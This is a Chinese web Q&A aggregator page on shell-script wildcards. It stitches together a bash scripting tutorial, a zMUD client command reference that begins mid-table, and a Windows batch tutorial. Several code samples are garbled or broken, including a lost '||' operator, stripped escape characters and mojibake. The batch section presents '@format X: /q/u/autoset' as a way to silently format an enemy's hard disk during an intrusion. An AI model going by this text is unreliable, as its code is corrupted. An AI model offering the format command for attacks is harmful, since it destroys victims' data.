當前位置:首頁 » 網頁前端 » 腳本通配符數字范圍
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

腳本通配符數字范圍

發布時間: 2022-09-18 17:23:53

Ⅰ SHELL腳本中的通配符問題

兩個意思是不一樣的,在命令行的意思是代表0~n個任意字元。在shell腳本里代表重復0-n次前一個字元。就是ls abc或者ls abcc或者ls abccc

Ⅱ 批處理腳本裡面怎麼使用字元串通配符

直接這樣好像有點難
不過你可以考慮一下以下做法
例如:
str1=newTest1
如果你要判斷str1這個變數的字元中有沒有test即*test*
那你只要兩步
set str2=%str1:test=%
那str2的結果就是str1刪除test之後的結果,現在拿
str2跟str1比較,如果相同,說明str1中沒有test(因為如果有的話,那test就被替換成空了,那前後就不會相等了)
如果str2跟str1不等,說明str1中包含test也就是證明了str1是滿足*test*的

Ⅲ 已在run目錄下,創建一個腳本,如何實現,輸入5個數,升序輸出

如何編寫一個shell腳本

本文結合大量實例闡述如何編寫一個shell腳本。

為什麼要進行shell編程

在Linux系統中,雖然有各種各樣的圖形化介面工具,但是sell仍然是一個非常靈活的工具。Shell不僅僅是命令的收集,而且是一門非常棒的編程語言。您可以通過使用shell使大量的任務自動化,shell特別擅長系統管理任務,尤其適合那些易用性、可維護性和便攜性比效率更重要的任務。
下面,讓我們一起來看看shell是如何工作的:

建立一個腳本

Linux中有好多中不同的shell,但是通常我們使用bash (bourne again shell) 進行shell編程,因為bash是免費的並且很容易使用。所以在本文中筆者所提供的腳本都是使用bash(但是在大多數情況下,這些腳本同樣可以在bash的大姐,bourne shell中運行)。

如同其他語言一樣,通過我們使用任意一種文字編輯器,比如nedit、kedit、emacs、vi
等來編寫我們的shell程序。
程序必須以下面的行開始(必須方在文件的第一行):
#!/bin/sh

符號#!用來告訴系統它後面的參數是用來執行該文件的程序。在這個例子中我們使用/bin/sh來執行程序。
當編輯好腳本時,如果要執行該腳本,還必須使其可執行。
要使腳本可執行:
chmod +x filename
然後,您可以通過輸入: ./filename 來執行您的腳本。

注釋

在進行shell編程時,以#開頭的句子表示注釋,直到這一行的結束。我們真誠地建議您在程序中使用注釋。如果您使用了注釋,那麼即使相當長的時間內沒有使用該腳本,您也能在很短的時間內明白該腳本的作用及工作原理。

變數

在其他編程語言中您必須使用變數。在shell編程中,所有的變數都由字元串組成,並且您不需要對變數進行聲明。要賦值給一個變數,您可以這樣寫:

變數名=值

取出變數值可以加一個美元符號($)在變數前面:

#!/bin/sh
#對變數賦值:
a="hello world"
# 現在列印變數a的內容:
echo "A is:"
echo $a

在您的編輯器中輸入以上內容,然後將其保存為一個文件first。之後執行chmod +x first
使其可執行,最後輸入./first執行該腳本。
這個腳本將會輸出:
A is:
hello world

有時候變數名很容易與其他文字混淆,比如:
num=2
echo "this is the $numnd"
這並不會列印出"this is the 2nd",而僅僅列印"this is the ",因為shell會去搜索變數numnd的值,但是這個變數時沒有值的。可以使用花括弧來告訴shell我們要列印的是num變數:
num=2
echo "this is the ${num}nd"
這將列印: this is the 2nd

有許多變數是系統自動設定的,這將在後面使用這些變數時進行討論。

如果您需要處理數學表達式,那麼您需要使用諸如expr等程序(見下面)。
除了一般的僅在程序內有效的shell變數以外,還有環境變數。由export關鍵字處理過的變數叫做環境變數。我們不對環境變數進行討論,因為通常情況下僅僅在登錄腳本中使用環境變數。

Shell命令和流程式控制制

在shell腳本中可以使用三類命令:

1)Unix 命令:

雖然在shell腳本中可以使用任意的unix命令,但是還是由一些相對更常用的命令。這些命令通常是用來進行文件和文字操作的。

常用命令語法及功能

echo "some text": 將文字內容列印在屏幕上

ls: 文件列表

wc –l filewc -w filewc -c file: 計算文件行數計算文件中的單詞數計算文件中的字元數

cp sourcefile destfile: 文件拷貝

mv oldname newname : 重命名文件或移動文件

rm file: 刪除文件

grep 'pattern' file: 在文件內搜索字元串比如:grep 'searchstring' file.txt

cut -b colnum file: 指定欲顯示的文件內容範圍,並將它們輸出到標准輸出設備比如:輸出每行第5個到第9個字元cut -b5-9 file.txt千萬不要和cat命令混淆,這是兩個完全不同的命令

cat file.txt: 輸出文件內容到標准輸出設備(屏幕)上

file somefile: 得到文件類型

read var: 提示用戶輸入,並將輸入賦值給變數

sort file.txt: 對file.txt文件中的行進行排序

uniq: 刪除文本文件中出現的行列比如: sort file.txt | uniq

expr: 進行數學運算Example: add 2 and 3expr 2 "+" 3

find: 搜索文件比如:根據文件名搜索find . -name filename -print

tee: 將數據輸出到標准輸出設備(屏幕) 和文件比如:somecommand | tee outfile

basename file: 返回不包含路徑的文件名比如: basename /bin/tux將返回 tux

dirname file: 返迴文件所在路徑比如:dirname /bin/tux將返回 /bin

head file: 列印文本文件開頭幾行

tail file : 列印文本文件末尾幾行

sed: Sed是一個基本的查找替換程序。可以從標准輸入(比如命令管道)讀入文本,並將結果輸出到標准輸出(屏幕)。該命令採用正則表達式(見參考)進行搜索。不要和shell中的通配符相混淆。比如:將linuxfocus 替換為 LinuxFocus :cat text.file | sed 's/linuxfocus/LinuxFocus/' > newtext.file

awk: awk 用來從文本文件中提取欄位。預設地,欄位分割符是空格,可以使用-F指定其他分割符。cat file.txt | awk -F, '{print $1 "," $3 }'這里我們使用,作為欄位分割符,同時列印第一個和第三個欄位。如果該文件內容如下: Adam Bor, 34, IndiaKerry Miller, 22, USA命令輸出結果為:Adam Bor, IndiaKerry Miller, USA

2) 概念: 管道, 重定向和 backtick

這些不是系統命令,但是他們真的很重要。

管道 (|) 將一個命令的輸出作為另外一個命令的輸入。
grep "hello" file.txt | wc -l
在file.txt中搜索包含有」hello」的行並計算其行數。
在這里grep命令的輸出作為wc命令的輸入。當然您可以使用多個命令。

重定向:將命令的結果輸出到文件,而不是標准輸出(屏幕)。
> 寫入文件並覆蓋舊文件
>> 加到文件的尾部,保留舊文件內容。

反短斜線
使用反短斜線可以將一個命令的輸出作為另外一個命令的一個命令行參數。
命令:
find . -mtime -1 -type f -print
用來查找過去24小時(-mtime –2則表示過去48小時)內修改過的文件。如果您想將所有查找到的文件打一個包,則可以使用以下腳本:
#!/bin/sh
# The ticks are backticks (`) not normal quotes ('):
tar -zcvf lastmod.tar.gz `find . -mtime -1 -type f -print`

3) 流程式控制制

"if" 表達式 如果條件為真則執行then後面的部分:
if ....; then
....
elif ....; then
....
else
....
fi
大多數情況下,可以使用測試命令來對條件進行測試。比如可以比較字元串、判斷文件是否存在及是否可讀等等…
通常用" [ ] "來表示條件測試。注意這里的空格很重要。要確保方括弧的空格。
[ -f "somefile" ] :判斷是否是一個文件
[ -x "/bin/ls" ] :判斷/bin/ls是否存在並有可執行許可權
[ -n "$var" ] :判斷$var變數是否有值
[ "$a" = "$b" ] :判斷$a和$b是否相等

執行man test可以查看所有測試表達式可以比較和判斷的類型。
直接執行以下腳本:
#!/bin/sh
if [ "$SHELL" = "/bin/bash" ]; then
echo "your login shell is the bash (bourne again shell)"
else
echo "your login shell is not bash but $SHELL"
fi
變數$SHELL包含了登錄shell的名稱,我們和/bin/bash進行了比較。

快捷操作符

熟悉C語言的朋友可能會很喜歡下面的表達式:
[ -f "/etc/shadow" ] && echo "This computer uses shadow passwors"
這里 && 就是一個快捷操作符,如果左邊的表達式為真則執行右邊的語句。您也可以認為是邏輯運算中的與操作。上例中表示如果/etc/shadow文件存在則列印」 This computer uses shadow passwors」。同樣或操作(||)在shell編程中也是可用的。這里有個例子:
#!/bin/sh
mailfolder=/var/spool/mail/james
[ -r "$mailfolder" ]' '{ echo "Can not read $mailfolder" ; exit 1; }
echo "$mailfolder has mail from:"
grep "^From " $mailfolder
該腳本首先判斷mailfolder是否可讀。如果可讀則列印該文件中的"From" 一行。如果不可讀則或操作生效,列印錯誤信息後腳本退出。這里有個問題,那就是我們必須有兩個命令:
-列印錯誤信息
-退出程序
我們使用花括弧以匿名函數的形式將兩個命令放到一起作為一個命令使用。一般函數將在下文提及。
不用與和或操作符,我們也可以用if表達式作任何事情,但是使用與或操作符會更便利很多。

case表達式可以用來匹配一個給定的字元串,而不是數字。
case ... in
...) do something here ;;
esac
讓我們看一個例子。 file命令可以辨別出一個給定文件的文件類型,比如:
file lf.gz
這將返回:
lf.gz: gzip compressed data, deflated, original filename,
last modified: Mon Aug 27 23:09:18 2001, os: Unix
我們利用這一點寫了一個叫做smartzip的腳本,該腳本可以自動解壓bzip2, gzip 和zip 類型的壓縮文件:
#!/bin/sh
ftype=`file "$1"`
case "$ftype" in
"$1: Zip archive"*)
unzip "$1" ;;
"$1: gzip compressed"*)
gunzip "$1" ;;
"$1: bzip2 compressed"*)
bunzip2 "$1" ;;
*) error "File $1 can not be uncompressed with smartzip";;
esac

您可能注意到我們在這里使用了一個特殊的變數$1。該變數包含了傳遞給該程序的第一個參數值。也就是說,當我們運行:
smartzip articles.zip
$1 就是字元串 articles.zip

select 表達式是一種bash的擴展應用,尤其擅長於互動式使用。用戶可以從一組不同的值中進行選擇。
select var in ... ; do
break
done
.... now $var can be used ....
下面是一個例子:
#!/bin/sh
echo "What is your favourite OS?"
select var in "Linux" "Gnu Hurd" "Free BSD" "Other"; do
break
done
echo "You have selected $var"
下面是該腳本運行的結果:
What is your favourite OS?
1) Linux
2) Gnu Hurd
3) Free BSD
4) Other
#? 1
You have selected Linux

您也可以在shell中使用如下的loop表達式:
while ...; do
....
done

while-loop 將運行直到表達式測試為真。will run while the expression that we test for is true. 關鍵字"break" 用來跳出循環。而關鍵字」continue」用來不執行餘下的部分而直接跳到下一個循環。

for-loop表達式查看一個字元串列表 (字元串用空格分隔) 然後將其賦給一個變數:
for var in ....; do
....
done

在下面的例子中,將分別列印ABC到屏幕上:
#!/bin/sh
for var in A B C ; do
echo "var is $var"
done

下面是一個更為有用的腳本showrpm,其功能是列印一些RPM包的統計信息:
#!/bin/sh
# list a content summary of a number of RPM packages
# USAGE: showrpm rpmfile1 rpmfile2 ...
# EXAMPLE: showrpm /cdrom/RedHat/RPMS/*.rpm
for rpmpackage in $*; do
if [ -r "$rpmpackage" ];then
echo "=============== $rpmpackage =============="
rpm -qi -p $rpmpackage
else
echo "ERROR: cannot read file $rpmpackage"
fi
done

這里出現了第二個特殊的變數$*,該變數包含了所有輸入的命令行參數值。如果您運行showrpm openssh.rpm w3m.rpm webgrep.rpm
此時 $* 包含了 3 個字元串,即openssh.rpm, w3m.rpm and webgrep.rpm.

引號
在向程序傳遞任何參數之前,程序會擴展通配符和變數。這里所謂擴展的意思是程序會把通配符(比如*)替換成合適的文件名,它變數替換成變數值。為了防止程序作這種替換,您可以使用引號:讓我們來看一個例子,假設在當前目錄下有一些文件,兩個jpg文件, mail.jpg 和tux.jpg。

#!/bin/sh
echo *.jpg
這將列印出"mail.jpg tux.jpg"的結果。
引號 (單引號和雙引號) 將防止這種通配符擴展:
#!/bin/sh
echo "*.jpg"
echo '*.jpg'
這將列印"*.jpg" 兩次。
單引號更嚴格一些。它可以防止任何變數擴展。雙引號可以防止通配符擴展但允許變數擴展。
#!/bin/sh
echo $SHELL
echo "$SHELL"
echo '$SHELL'

運行結果為:
/bin/bash
/bin/bash
$SHELL

最後,還有一種防止這種擴展的方法,那就是使用轉義字元——反斜桿:
echo *.jpg
echo $SHELL
這將輸出:
*.jpg
$SHELL
Here documents

當要將幾行文字傳遞給一個命令時,here documents(譯者註:目前還沒有見到過對該詞適合的翻譯)一種不錯的方法。對每個腳本寫一段幫助性的文字是很有用的,此時如果我們四有那個here documents就不必用echo函數一行行輸出。 一個 "Here document" 以 << 開頭,後面接上一個字元串,這個字元串還必須出現在here document的末尾。下面是一個例子,在該例子中,我們對多個文件進行重命名,並且使用here documents列印幫助:

#!/bin/sh
# we have less than 3 arguments. Print the help text:
if [ $# -lt 3 ] ; then
cat <<HELP
ren -- renames a number of files using sed regular expressions

USAGE: ren 'regexp' 'replacement' files...

EXAMPLE: rename all *.HTM files in *.html:
ren 'HTM$' 'html' *.HTM

HELP
exit 0
fi
OLD="$1"
NEW="$2"
# The shift command removes one argument from the list of
# command line arguments.
shift
shift
# $* contains now all the files:
for file in $*; do
if [ -f "$file" ] ; then
newfile=`echo "$file" | sed "s/${OLD}/${NEW}/g"`
if [ -f "$newfile" ]; then
echo "ERROR: $newfile exists already"
else
echo "renaming $file to $newfile ..."
mv "$file" "$newfile"
fi
fi
done

這是一個復雜一些的例子。讓我們詳細討論一下。第一個if表達式判斷輸入命令行參數是否小於3個 (特殊變數$# 表示包含參數的個數) 。如果輸入參數小於3個,則將幫助文字傳遞給cat命令,然後由cat命令將其列印在屏幕上。列印幫助文字後程序退出。 如果輸入參數等於或大於3個,我們就將第一個參數賦值給變數OLD,第二個參數賦值給變數NEW。下一步,我們使用shift命令將第一個和第二個參數從參數列表中刪除,這樣原來的第三個參數就成為參數列表$*的第一個參數。然後我們開始循環,命令行參數列表被一個接一個地被賦值給變數$file。接著我們判斷該文件是否存在,如果存在則通過sed命令搜索和替換來產生新的文件名。然後將反短斜線內命令結果賦值給newfile。這樣我們就達到了我們的目的:得到了舊文件名和新文件名。然後使用mv命令進行重命名。

函數

如果您寫了一些稍微復雜一些的程序,您就會發現在程序中可能在幾個地方使用了相同的代碼,並且您也會發現,如果我們使用了函數,會方便很多。一個函數是這個樣子的:
functionname()
{
# inside the body $1 is the first argument given to the function
# $2 the second ...
body
}
您需要在每個程序的開始對函數進行聲明。

下面是一個叫做xtitlebar的腳本,使用這個腳本您可以改變終端窗口的名稱。這里使用了一個叫做help的函數。正如您可以看到的那樣,這個定義的函數被使用了兩次。
#!/bin/sh
# vim: set sw=4 ts=4 et:

help()
{
cat <<HELP
xtitlebar -- change the name of an xterm, gnome-terminal or kde konsole

USAGE: xtitlebar [-h] "string_for_titelbar"

OPTIONS: -h help text

EXAMPLE: xtitlebar "cvs"

HELP
exit 0
}

# in case of error or if -h is given we call the function help:
[ -z "$1" ] && help
[ "$1" = "-h" ] && help

# send the escape sequence to change the xterm titelbar:
echo -e "33]0;$107"
#

在腳本中提供幫助是一種很好的編程習慣,這樣方便其他用戶(和您)使用和理解腳本。

命令行參數

我們已經見過$* 和 $1, $2 ... $9 等特殊變數,這些特殊變數包含了用戶從命令行輸入的參數。迄今為止,我們僅僅了解了一些簡單的命令行語法(比如一些強制性的參數和查看幫助的-h選項)。但是在編寫更復雜的程序時,您可能會發現您需要更多的自定義的選項。通常的慣例是在所有可選的參數之前加一個減號,後面再加上參數值 (比如文件名)。

有好多方法可以實現對輸入參數的分析,但是下面的使用case表達式的例子無遺是一個不錯的方法。
#!/bin/sh
help()
{
cat <<HELP
This is a generic command line parser demo.
USAGE EXAMPLE: cmdparser -l hello -f -- -somefile1 somefile2
HELP
exit 0
}

while [ -n "$1" ]; do
case $1 in
-h) help;shift 1;; # function help is called
-f) opt_f=1;shift 1;; # variable opt_f is set
-l) opt_l=$2;shift 2;; # -l takes an argument -> shift by 2
--) shift;break;; # end of options
-*) echo "error: no such option $1. -h for help";exit 1;;
*) break;;
esac
done

echo "opt_f is $opt_f"
echo "opt_l is $opt_l"
echo "first arg is $1"
echo "2nd arg is $2"

您可以這樣運行該腳本:
cmdparser -l hello -f -- -somefile1 somefile2

返回的結果是:
opt_f is 1
opt_l is hello
first arg is -somefile1
2nd arg is somefile2

這個腳本是如何工作的呢?腳本首先在所有輸入命令行參數中進行循環,將輸入參數與case表達式進行比較,如果匹配則設置一個變數並且移除該參數。根據unix系統的慣例,首先輸入的應該是包含減號的參數。

Ⅳ shell 腳本通配符無效

我這里試下來bzip2是支持通配符的。
/var/shark*20150324*.log
你本機是否存在符合這種格式的文件呢? 路徑是否正確?

Ⅳ 通配符是怎麼定義的有哪些

通配符的使用

在使用文件時,主文件名和擴展名中還可以使用通配符「*」「?」。其中「*」代表從它所在位置直到「.」(主文件名中為到「.」前,擴展名為「.」後)的所有字元;「?」代表它所在位置的任意字元。

實例:

A.?? 表示文件主名為A,擴展名不超過兩個字元的文件

???.com 表示文件名不超過三個字元,擴展名為COM的文件

*.* 表示所有文件

ABC.* 表示文件名為ABC,具有任意擴展名的文件

*.EXE 表示以EXE為擴展名的所有文件

A*.* 表示以字元A開頭的所有文件 例如: ABC.txt ABD.com等

A??.* 表示文件主名以A開頭且不超過三個字元,具有任意擴展名

的文件

tabs)
%x
匹配任何數量的非空格
[range]
匹配任何數量的在[range]中列出的字元
^
強制從一行的開始進行匹配
$
強制匹配到一行的結束
(pattern)
保存匹配的式樣到參數%1~%9
~
包括其中的字元不會被解釋為特殊字元
{val1|val2|val3|...}
匹配其中列出的任何特殊的串
{^string}
不匹配其中包括的串

使用[range]時,你可以在其中列出需要的字元例如 [abc] 或使用范圍 [a-c] 。

為了匹配特殊字元本身,可以使用~將特殊字元括住,例如:~[test~] 將匹配字元串
[test] 而不是作為 [range] 來匹配。

只使用$可以匹配一個空行。

別名中使用參數的例子

我們在解謎過程中向npc提出的問題通常是以:

ask npc about here
ask npc about rumors
ask npc about name

這樣三個命令開始的,把他們定義成別名可以節省一些時間,像這樣:

#al askn {ask %1 about here;ask %1 about here;ask %1 about name}

可如果npc的名字有兩個單詞,或一堆同名的npc中你要問其中第二個,就需要把別名
中的參數改為%-1,此時執行askn bing 2或askn tian bing就不會出錯了。

為了更好的理解參數的作用,試試執行下面的命令:

#al tt test1 %1 test2 %2 test3 %-1 test4 %-2

看看執行{tt a1 a2 a3 a4 a5}的結果,一切都清楚了吧?

表達式

當執行運算時,如果所有參數均為數字,則執行數學運算,否則執行字元串操作。以
下是一些常用的表達式(v1和v2代表變數或另外的表達式):

v1+v2
如果v1或v2不是數字,則執行字元串相加
v1-v2
從v1中減去v2
v1*v2
相乘
v1/v2
v1除v2,結果不含小數
v1\v2
取模
v1&v2
邏輯運算and
v1 and v2
同上
v1 | v2
邏輯運算or
v1 or v2
同上
v1 xor v2
邏輯運算xor
v1 = v2
如果v1等於v2返回真
v1 > v2
如果v1大於v2返回真
v1 < v2
如果v1小於v2返回真
v1 >= v2
如果v1大於等於v2返回真
v1 <= v2
如果v1小於等於v2返回真
v1 <> v2
如果v1不等於v2返回真
v1 != v2
同上
v1 =~ v2
如果表達式v1中的pattern包含v2,返回真
v1 ~= v2
同上
-v1
返回v1的負值
!v1
邏輯運算非

命令:
number]

Syntax:牋?#number command

這個命令向MUD重復發送number次命令,number必須是一個常數,如果要使用變數,請
使用loop命令。當前已經重復的計數保存在系統變數%repeatnum中。

實例:

#4 fight bing %i

命令將被解釋成{fight bing 1;fight bing 2;...;fight bing 4}發往MUD10

abort

Syntax:牋?#AB

停止分析處理當前的命令行中#ab以後的部分

實例:

get all corpse;#ABORT;split
在這個例子中,split將被忽略

action

Syntax:牋?#AC pattern command [classname]
Related:牋?#TRIGGER #T+ #T- #IGNORE

這是zMUD中最有用的特性之一。當從MUD中收到一條匹配的文本時,預先定義的命令將
被執行。這條命令的第一個參數是被匹配的文本,如果文本中包含空格,你需要將它
用括弧{}括起來。pattern中能夠包含特殊的pattern matching symbols 和通配符。
第二個參數是將要被執行的命令,超過一個單詞的命令也需要使用括弧{}。第三個參
數用於給不同的觸發動作命名分類,便於管理。高級的觸發設置必須使用參數
(Preferences)對話框,在對話框中,你可以決定觸發的動作是緊跟在匹配的文本之
後還是在新的一行中執行。

一個簡單的例子:

#AC {你買下一件藤甲} {wear jia}

這樣,無論何時只要你買了藤甲,立刻可以自動穿上。

自動登錄的例子:

#AC {^您的英文名字:} {river}
#AC {^請輸入相應密碼:} {12345}

然後在參數對話框中關閉 Trigger on Newline 設置並且打開 Trigger on Prompt 這
樣名字和密碼將緊接著提示行輸入而不會等待換行。注意,字元 ^ 將強制從一行的頭
部開始匹配。

觸發中的參數

#AC {^You get (%d) coins} {chat I get %1coin } rich

當你看到一行「You get [number] coins」時,其中的數值將被存放在變數%1中,其
後執行的命令可以使用這個數值。在這個例子中用到了類(class)名rich,這樣你就
能夠使用t+和t-命令來打開或關閉這個觸發。

add

Syntax:牋?#AD variable amount

這個例子允許你做一個簡單的算術計算。amount可以是數值或變數。如果要做減法,
可以使用負值。復雜一些的算術計算,請使用 #math 命令。

實例:

#AD moves 1
給變數@moves加一

#ACTION {You get (%d) coins} {#AD gold %1}
當撿到錢時,把撿錢的數量加到 @gold 變數中

alarm

Syntax:牋?#ALA timepattern command
Related:牋?#TRIGGER

建立一個基於時間的觸發,而不是根據從MUD中獲得的信息觸發。timepattern可以是
特定的時間或包括通配符。如果在minus前加上(-),則表示連線時間而不是實際時
間。

timepattern 的格式表示成 hours:minutes:seconds ,其中的小時和分鍾是可選項,
如果不指明,則假定小時和分鍾被通配符*取代。通配符*可以代替任何數值,而*10可
以匹配10、20、30等等。你也可以指定幾個數值用(|)來分隔。Finally, you can
put parenthesis around the wildcards to save the values matched to the
%1..%9 parameters。(這句話我不懂,誰來幫我?)

實例:

#ALARM -30:00 {save}
這里的 hour 沒有指定,所以默認為*。 因此,這個例子將在連線後每隔30分鍾執行
save 命令。

#ALARM 3:00:00 {gossip Why arent you sleeping?}
命令將在凌晨3點觸發。

#ALARM -59:(55|56|57|58|59) {#SHOW 60-%1}
這個命令在你連線時每個小時的最後5秒在屏幕上顯示 5 4 3 2 1。

alias

Syntax:牋?#AL [aliasname] [string]
Related:牋?#VARIABLE

保存一個或一組命令到一個較短的別名中。當執行別名時,命令中的變數能夠被擴
展。如果需要延遲變數擴展,可以使用兩個變數標志(%%)。

如果不帶參數執行命令alias,所有的別名將被列出在輸出窗口。如果在命令alias中
指定別名,被指定的別名將被顯示。

別名能夠用<tab>鍵擴展。在命令行中鍵入一個別名並按下<tab>鍵,命令行中的別名
將被替換成別名中包含的命令。

如果在定義別名時使用參數(%1,%2,...),在命令行中緊隨別名的文本將取代這些
參數。特殊的參數%-1到%-99表示-n之後的所有文本。(使用參數的例子)

實例

#AL fs {fill waterskin}

當執行fs時,fill waterskin將被送往MUD。

#AL fs {fill @container}

在別名中使用變數,變數可以在購買容器時用觸發賦值。

#AL make {#ALIAS %1 {cast %1 %%1]

在這個例子中,執行make heal將發出#ALIAS heal {cast heal %1}命令,這樣就建立
了一個新的別名heal。

all

Syntax:牋?#ALL command

發送一個命令到所有角色的窗口

實例:

#ALL quit
發送 quit 命令到所有激活的角色窗口。

backup

Syntax:牋?#BA
Related:牋?#PATH #RETRACE

從當前正在記錄的路徑中刪除最後一步

實例:

如果當前路徑是 .nsew 那麽執行 #BA 將使其成為 .nse 。如果當前路徑是 .n4s 則
執行 #BA 後將成為 .n3s 。?

beep

Syntax:牋?#BEEP [value]
Related:牋?#PLAY

在pc機喇叭中發聲,value 對應相應的 windows 事件。

實例:

#BEEP 16
播放windows 事件 16 的聲音。

#BEEP;#WAIT 500;#BEEP
beep兩次,中間間隔0.5秒。

button

Syntax:牋?#BU number

觸發一個自定義按鈕,編號(從1至16)決定觸發的按鈕。number 可以是一個變數。

實例:

#BU 1

觸發第一個按鈕,效果相當於在屏幕上按下這個按鈕

c+

Syntax:牋?#C+ [name]
Related:牋?#C-

開始獲取文本到窗口name中,如果省略name,文本將送入command editor,(如果
editor中的capturing設置可用)。如果在preferences對話框中選中Capture
Commands設置,鍵入的命令也將被送往這個窗口。

例子:

#c+ temp

開始拷貝所有從MUD中獲得的文本到名為temp的窗口中

c-

Syntax:牋?#C-
Related:牋?#C+

停止獲取文本到另一個窗口

capture

Syntax:牋?#CAP [number] [name]
Related:牋?Editor window

獲取最後number行送到另一個窗口。如果省略number,則只獲取最後一行。如果
number是-1,所有的行將被拷貝。如果name省略,發送的目標將是command editor
window。

例子

#tr {咖啡告訴你:救命!} {#cap tell}

將tell的內容存入名為tell的窗口,避免忽略。

case

Syntax:牋?#CA index command1 [commandn]

允許從命令列表中選擇一個命令執行。index參數決定執行哪一個命令。如果index大
於列表中的命令數,將從第一個開始重新選擇。例如,列表中有4個命令,而index=
6,則第二個命令將被執行。你也可以用變數%random隨機的選擇需執行的命令。

實例:

#CASE 2 {first command} {second command} {third command}

執行第二個命令

#CASE @joincmd {join} {rescue}

如果變數@join是奇數,執行join,偶數執行rescue。

#CASE %random {Hello} {Hi there} {Hiya} {Hi}

隨機選擇問候語。

character

Syntax:牋?#CH
Related:牋?#HOST #PW

從Charater atabase中返回當前角色的名字

colse

Syntax:牋?#CL filenum
Related:牋?#FILE

根據給定的文件號關閉文件,文件必須是已經用#file命令打開的。

實例:

#CLOSE 1

關閉一號文件

clr

清除屏幕。如果要清空scrollback buffer並收回內存,請使用菜單命令Empty。

color

Syntax:牋?#CO attribute [pattern]
Related:牋?#HIGHLIGHT

如果省略pattern參數,這個命令將改變最後一行的顏色。顏色屬性見下表。如果包括
pattern參數,將建立一個顏色觸發,引起觸發的條件除了字元對應外還需要有相同的
顏色。

Color values:

black牋?
0
blue牋
1
green
2
cyan
3
red
4
magenta
5
brown
6
gray
7
tellow
14
white
15
bold
128

要顯示亮色,在基本值上加8,作為背景顏色,需要用基本值乘16。例如:使用紅色背
景的值是4*16或64。在前景上使用粗體字,需要再加128。這樣,在藍色背景上的粗體
白字的值是:128+1*16+15=159。

實例:

#CO red

將最後一行的顏色變成紅色

#CO bold,red

將最後一行變成紅色粗體

connect

Syntax:牋?#CON
Related:牋?#DISCONNECT

斷開並重新連接到當前的MUD,與菜單命令File/Reconnect 相同

cr

Syntax:牋?#CR

送一個空行到MUD

cw

Syntax:牋?#CW color
Related:牋?#COLOR

在一次成功的觸發之後,改變引起觸發的內容的顏色

實例:

#TRIGGER {告訴你} {#CW red}

當有人tell 你時,顯示較為醒目的顏色

dde

Syntax:牋?#DDE server topic macro

這個命令允許你通過動態數據交換使用外部程序。zMUD也有一些內建的函數用於DDE:

%dde(server,topic,item)

%ddepoke(server,topic,item,value)

%ddemacro(server,topic,macro)

如果你使用%ddeopen(server,topic)函數打開DDE連接,在其他函數中不再需要指明
server和topic,這個函數是全局性的,對於zMUD的任何窗口均有效。結束DDE連接
時,使用%ddeclose()函數。

zMUD也擁有自己的DDE服務,server名是zmud,topic也是zmud,item為data。

實例:

#DDE NETSCAPE WWW_OpenURL {<a target="_blank" href="http://www.zg169.net/~czmud/index.html}">http://www.zg169.net/~czmud/index.html}</a>

使用netscape打開zMUD從入門到精通主頁,因為~zMUD的特殊字元,所以需要再加一個
~寫成~。

#DDE ZMUD ZMUD {chat* bye;quit}

使用DDE向MUD發出命令

%dde(Excel,TEST.XLS,R1C1)

使用excel裝入test.xls並返回單元R1C1的值。

%ddepoke(Excel,TEST.XLS,R1C1,@tank)

向test.xls的R1C1單元寫入變數@tank的值

誰能用DDE寫一個自動對詩的機器人?

default

Syntax:牋?#DE [special-char-string]
Related:牋?#NODEF

保存你當前使用的特殊字元並恢復系統默認的特殊字元,在使用現成的命令腳本時,
這個命令可以保證腳本中的標准特殊字元被正確識別。使用#NODEF命令將恢復你自定
義的特殊字元。

zMUD中使用的特殊字元有

Ⅵ windows bat腳本問題

Windows .bat 腳本簡單用法介紹:

一.簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。

語法:

echo [{on│off}] [message]
Sample:@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命

令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令

表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使

用的命令啦。

Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這

個參數給我們,效果和/y是一樣的。)

3.Goto 命令

指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。

語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end

標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令

就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令

注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你

自己日後修改。

Rem Message
Sample:@Rem Here is the description.

5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .

Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin

在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入

驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽

。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

語法:
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數:
[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令

調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數

執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE不等應用程序終止就返回命令提示。如果在命令腳本

內執行,該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提

示可輸入的字元,之間無空格。它的返回碼為1234......

